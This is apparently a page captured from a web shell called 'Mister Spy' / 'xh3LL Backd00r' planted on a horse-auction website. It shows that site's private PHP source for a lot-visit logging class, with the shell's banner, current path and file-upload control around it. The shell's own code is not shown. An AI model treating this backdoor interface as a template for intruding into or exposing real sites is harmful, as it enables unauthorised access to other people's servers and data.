Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/espanol/library/
Upload File :
Current File : /home/caballoscriollos/public_html/espanol/library/class.lotelogs.php

<?php 

require_once('class.dbaccess.php');
require_once('class.lotelog.php');

class LoteLogs extends DBAccess
{
	public function GetByRankingConsultas($IdRemate)
	{
		$sql = "SELECT ll.*, COUNT(1) AS CantidadVisitas";
		$sql.= " FROM tblLoteLogs ll ";
		$sql.= " INNER JOIN tblLotes l ON ll.IdLote = l.IdLote";
		$sql.= " WHERE ll.IdRemate = " . DB::Number($IdRemate);
		$sql.= " AND l.Estado = " . DB::Number(1);
		$sql.= " GROUP BY ll.IdLote";
		$sql.= " ORDER BY l.NumeroLote ASC";

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{	
			$oLoteLog = new LoteLog();
			$oLoteLog->ParseFromArray($oRow);

			array_push($arr, $oLoteLog);

			$oRes->MoveNext();
		}	

		return $arr;
	}
	
	
	public function GetRanking($IdRemate)
	{
		$sql = "SELECT ll.*, COUNT(1) AS CantidadVisitas";
		$sql.= " FROM tblLoteLogs ll ";
		$sql.= " INNER JOIN tblLotes l ON ll.IdLote = l.IdLote";
		$sql.= " WHERE ll.IdRemate = " . DB::Number($IdRemate);
		$sql.= " AND l.Estado = " . DB::Number(1);
		$sql.= " GROUP BY ll.IdLote";
		$sql.= " ORDER BY CantidadVisitas DESC";

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{	
			$oLoteLog = new LoteLog();
			$oLoteLog->ParseFromArray($oRow);

			array_push($arr, $oLoteLog);

			$oRes->MoveNext();
		}	

		return $arr;
	}
	
	
	public function GetLoteByDia($IdRemate)
	{
		$sql = "SELECT ll.*,";
		$sql.= " COUNT(1) AS CantidadVisitas,";
		$sql.= " CONCAT(YEAR(ll.FechaHora), '-', MONTH(ll.FechaHora), '-', DAY(ll.FechaHora)) AS FechaHora";
		$sql.= " FROM tblLoteLogs ll";
		$sql.= " INNER JOIN tblLotes l ON ll.IdLote = l.IdLote";
		$sql.= " WHERE ll.IdRemate = " . DB::Number($IdRemate);
		$sql.= " AND l.Estado = " . DB::Number(1);
		$sql.= " GROUP BY CONCAT(YEAR(ll.FechaHora), '-', MONTH(ll.FechaHora), '-', DAY(ll.FechaHora)), IdLote";
		$sql.= " ORDER BY ll.FechaHora, ll.IdLote ASC";
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{	
			$oLoteLog = new LoteLog();
			$oLoteLog->ParseFromArray($oRow);

			array_push($arr, $oLoteLog);

			$oRes->MoveNext();
		}	

		return $arr;
	}
	
	
	public function GetAll($IdRemate)
	{
		$sql = "SELECT ll.*";
		$sql.= " FROM tblLoteLogs ll";
		$sql.= " INNER JOIN tblLotes l ON ll.IdLote = l.IdLote";
		$sql.= " WHERE ll.IdRemate = " . DB::Number($IdRemate);
		$sql.= " AND l.Estado = " . DB::Number(1);
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{	
			$oLoteLog = new LoteLog();
			$oLoteLog->ParseFromArray($oRow);

			array_push($arr, $oLoteLog);

			$oRes->MoveNext();
		}	

		return $arr;
	}
	
	/* consultas */
	public function GetConsultasByFecha($IdRemate, $Fecha)
	{
		$sql = "SELECT COUNT(1) AS CantidadVisitas";
		$sql.= " FROM tblLoteLogs ll";
		$sql.= " INNER JOIN tblLotes l ON ll.IdLote = l.IdLote";
		$sql.= " WHERE ll.IdRemate = " . DB::Number($IdRemate);
		$sql.= " AND SUBSTRING(ll.FechaHora, 1, 10) LIKE " . DB::String($Fecha);
		$sql.= " AND l.Estado = " . DB::Number(1);				
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;

		if (!($oRow = $oRes->GetRow()))
			return false;

		return $oRow['CantidadVisitas'];
	}
	
	
	public function GetByUsuario($IdRemate, $IdUsuario)
	{
		$sql = "SELECT ll.*";
		$sql.= " FROM tblLoteLogs ll";
		$sql.= " INNER JOIN tblLotes l ON ll.IdLote = l.IdLote";
		$sql.= " WHERE ll.IdRemate = " . DB::Number($IdRemate);
		$sql.= " AND ll.IdUsuario = " . DB::Number($IdUsuario);
		$sql.= " AND l.Estado = " . DB::Number(1);				
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{	
			$oLoteLog = new LoteLog();
			$oLoteLog->ParseFromArray($oRow);

			array_push($arr, $oLoteLog);

			$oRes->MoveNext();
		}	

		return $arr;
	}
	
	
	public function GetByOrigen($IdRemate, $Origen)
	{
		$sql = "SELECT ll.*";
		$sql.= " FROM tblLoteLogs ll";
		$sql.= " INNER JOIN tblLotes l ON ll.IdLote = l.IdLote";
		$sql.= " WHERE ll.IdRemate = " . DB::Number($IdRemate);
		$sql.= " AND ll.Origen = " . DB::String($Origen);
		$sql.= " AND l.Estado = " . DB::Number(1);				
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{	
			$oLoteLog = new LoteLog();
			$oLoteLog->ParseFromArray($oRow);

			array_push($arr, $oLoteLog);

			$oRes->MoveNext();
		}	

		return $arr;
	}
	
	
	public function GetLotesByUsuario($IdRemate)
	{
		$sql = "SELECT ll.*,";
		$sql.= " COUNT(1) AS CantidadVisitas";
		$sql.= " FROM tblLoteLogs ll";
		$sql.= " INNER JOIN tblLotes l ON ll.IdLote = l.IdLote";
		$sql.= " WHERE ll.IdRemate = " . DB::Number($IdRemate);
		$sql.= " AND l.Estado = " . DB::Number(1);				
		$sql.= " GROUP BY ll.IdLote, ll.IdUsuario";
		$sql.= " ORDER BY l.NumeroLote ASC";

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{	
			$oLoteLog = new LoteLog();
			$oLoteLog->ParseFromArray($oRow);

			array_push($arr, $oLoteLog);

			$oRes->MoveNext();
		}	

		return $arr;
	}
	
	
	public function GetLotesByUsuarioOrdenado($IdRemate, $OrderBy)
	{
		$sql = "SELECT ll.*,";
		$sql.= " COUNT(1) AS CantidadVisitas";
		$sql.= " FROM tblLoteLogs ll";
		$sql.= " INNER JOIN tblLotes l ON ll.IdLote = l.IdLote";
		$sql.= " WHERE ll.IdRemate = " . DB::Number($IdRemate);
		$sql.= " AND l.Estado = " . DB::Number(1);				
		$sql.= " GROUP BY ll.IdLote, ll.IdUsuario";
		
		switch ($OrderBy)
		{
			case 1:
					//$sql.= " ORDER BY l.NumeroLote ASC";
				break;
			
			case 2:
					$sql.= " ORDER BY CantidadVisitas DESC";
				break;
			
			default:
				break;
		}		

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{	
			$oLoteLog = new LoteLog();
			$oLoteLog->ParseFromArray($oRow);

			array_push($arr, $oLoteLog);

			$oRes->MoveNext();
		}	

		return $arr;
	}
	
	
	public function GetLotesByUsuarioLote($IdRemate, $IdLote)
	{
		$sql = "SELECT ll.*,";
		$sql.= " COUNT(1) AS CantidadVisitas";
		$sql.= " FROM tblLoteLogs ll";
		$sql.= " INNER JOIN tblLotes l ON ll.IdLote = l.IdLote";
		$sql.= " WHERE ll.IdRemate = " . DB::Number($IdRemate);
		$sql.= " AND ll.IdLote = " . DB::Number($IdLote);
		$sql.= " AND l.Estado = " . DB::Number(1);				
		$sql.= " GROUP BY ll.IdLote, ll.IdUsuario";
		$sql.= " ORDER BY CantidadVisitas DESC";

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{	
			$oLoteLog = new LoteLog();
			$oLoteLog->ParseFromArray($oRow);

			array_push($arr, $oLoteLog);

			$oRes->MoveNext();
		}	

		return $arr;
	}
	
	
	public function GetConsultasByIdUsuario($IdRemate, $IdUsuario)
	{
		$sql = "SELECT ll.*,";
		$sql.= " COUNT(1) AS CantidadVisitas";
		$sql.= " FROM tblLoteLogs ll";
		$sql.= " INNER JOIN tblLotes l ON ll.IdLote = l.IdLote";
		$sql.= " WHERE ll.IdRemate = " . DB::Number($IdRemate);
		$sql.= " AND IdUsuario = " . DB::Number($IdUsuario);
		$sql.= " AND l.Estado = " . DB::Number(1);				
		$sql.= " GROUP BY ll.IdLote";
		$sql.= " ORDER BY CantidadVisitas DESC ";
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{	
			$oLoteLog = new LoteLog();
			$oLoteLog->ParseFromArray($oRow);

			array_push($arr, $oLoteLog);

			$oRes->MoveNext();
		}	

		return $arr;
	}
	
	
	public function GetLotesByPais($IdRemate)
	{
		$sql = "SELECT ll.*,";
		$sql.= " COUNT(1) AS CantidadVisitas";		
		$sql.= " FROM tblLoteLogs ll";
		$sql.= " INNER JOIN tblLotes l ON ll.IdLote = l.IdLote";
		$sql.= " WHERE ll.IdRemate = " . DB::Number($IdRemate);
		$sql.= " AND l.Estado = " . DB::Number(1);				
		$sql.= " GROUP BY ll.IdLote, ll.Origen";
		$sql.= " ORDER BY ll.IdLote ASC ";

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{	
			$oLoteLog = new LoteLog();
			$oLoteLog->ParseFromArray($oRow);

			array_push($arr, $oLoteLog);

			$oRes->MoveNext();
		}	

		return $arr;
	}
	
	
	public function GetCountByPais($IdRemate)
	{
		$sql = "SELECT ll.Origen,";
		$sql.= " COUNT(1) AS CantidadVisitas";
		$sql.= " FROM tblLoteLogs ll";
		$sql.= " INNER JOIN tblLotes l ON ll.IdLote = l.IdLote";
		$sql.= " WHERE ll.IdRemate = " . DB::Number($IdRemate);
		$sql.= " AND l.Estado = " . DB::Number(1);				
		$sql.= " GROUP BY ll.Origen";

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{	
			$oLoteLog = new LoteLog();
			$oLoteLog->ParseFromArray($oRow);

			array_push($arr, $oLoteLog);

			$oRes->MoveNext();
		}	

		return $arr;
	}
	
	
	public function GetCountConsultas($IdRemate)
	{
		$sql = "SELECT COUNT(1) AS CantidadVisitas";
		$sql.= " FROM tblLoteLogs ll";
		$sql.= " INNER JOIN tblLotes l ON ll.IdLote = l.IdLote";
		$sql.= " WHERE ll.IdRemate = " . DB::Number($IdRemate);
		$sql.= " AND l.Estado = " . DB::Number(1);				
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;

		if (!($oRow = $oRes->GetRow()))
			return false;

		$oLoteLog = new LoteLog();
		$oLoteLog->ParseFromArray($oRow);

		return $oLoteLog;
	}
	
	
	public function GetUsuariosConsultas($IdRemate)
	{
		$sql = "SELECT ll.*";
		$sql.= " FROM tblLoteLogs ll";
		$sql.= " INNER JOIN tblUsuarios u ON ll.IdUsuario = u.IdUsuario";
		$sql.= " INNER JOIN tblLotes l ON ll.IdLote = l.IdLote";
		$sql.= " WHERE ll.IdRemate = " . DB::Number($IdRemate);
		$sql.= " AND l.Estado = " . DB::Number(1);				
		$sql.= " GROUP BY ll.IdUsuario";
		$sql.= " ORDER BY u.Apellido, u.Nombre ASC";

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{	
			$oLoteLog = new LoteLog();
			$oLoteLog->ParseFromArray($oRow);

			array_push($arr, $oLoteLog);

			$oRes->MoveNext();
		}	

		return $arr;
	}


	public function Create(LoteLog $oLoteLog)
	{
		$arr = array
		(
			'IdUsuario'	=> DB::Number($oLoteLog->IdUsuario),
			'IdLote'	=> DB::Number($oLoteLog->IdLote),
			'IdRemate'	=> DB::Number($oLoteLog->IdRemate),
			'FechaHora'	=> DB::String($oLoteLog->FechaHora),
			'Origen'	=> DB::String($oLoteLog->Origen),
			'Ip'		=> DB::String($oLoteLog->Ip)
		);
		
		if (!$this->Insert('tblLoteLogs', $arr))
			return false;
				
		return $oUsuarioLog;
	}
	
	
	
	
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat